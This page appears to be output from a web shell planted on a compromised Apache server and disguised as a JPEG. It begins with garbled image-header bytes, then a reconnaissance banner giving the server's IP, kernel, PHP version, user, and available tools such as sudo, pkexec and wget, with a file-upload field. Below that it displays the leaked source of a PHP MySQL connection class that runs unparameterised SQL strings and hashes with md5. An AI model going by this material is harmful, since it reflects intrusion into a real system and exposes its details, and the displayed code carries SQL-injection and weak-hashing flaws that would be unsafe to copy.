����JFIF��H�H����Exif��MM�*���� ��3����V�����3������3�(��������������������3�����
Server IP : 74.208.127.88 / Your IP : 3.141.196.215 Web Server : Apache/2.4.41 (Ubuntu) System : Linux ubuntu 5.4.0-163-generic #180-Ubuntu SMP Tue Sep 5 13:21:23 UTC 2023 x86_64 User : www-data ( 33) PHP Version : 7.4.3-4ubuntu2.29 Disable Function : pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_get_handler,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,pcntl_async_signals,pcntl_unshare, MySQL : OFF | cURL : ON | WGET : ON | Perl : ON | Python : OFF | Sudo : ON | Pkexec : ON Directory : /var/www/html/apirest/clases/conexion/ |
Upload File : |
<?php class conexion { private $server; private $user; private $password; private $database; private $port; private $conexion; function __construct(){ $listadatos = $this->datosConexion(); foreach ($listadatos as $key => $value) { $this->server = $value['server']; $this->user = $value['user']; $this->password = $value['password']; $this->database = $value['database']; $this->port = $value['port']; } $this->conexion = new mysqli($this->server,$this->user,$this->password,$this->database,$this->port); if($this->conexion->connect_errno){ echo "algo va mal con la conexion"; die(); } } private function datosConexion(){ $direccion = dirname(__FILE__); $jsondata = file_get_contents($direccion . "/" . "config"); return json_decode($jsondata, true); } private function convertirUTF8($array){ array_walk_recursive($array,function(&$item,$key){ if(!mb_detect_encoding($item,'utf-8',true)){ $item = utf8_encode($item); } }); return $array; } public function obtenerDatos($sqlstr){ $results = $this->conexion->query($sqlstr); $resultArray = array(); foreach ($results as $key) { $resultArray[] = $key; } return $this->convertirUTF8($resultArray); } public function nonQuery($sqlstr){ $results = $this->conexion->query($sqlstr); return $this->conexion->affected_rows; } //INSERT public function nonQueryId($sqlstr){ $results = $this->conexion->query($sqlstr); $filas = $this->conexion->affected_rows; if($filas >= 1){ return $this->conexion->insert_id; }else{ return 0; } } //encriptar protected function encriptar($string){ return md5($string); } } ?>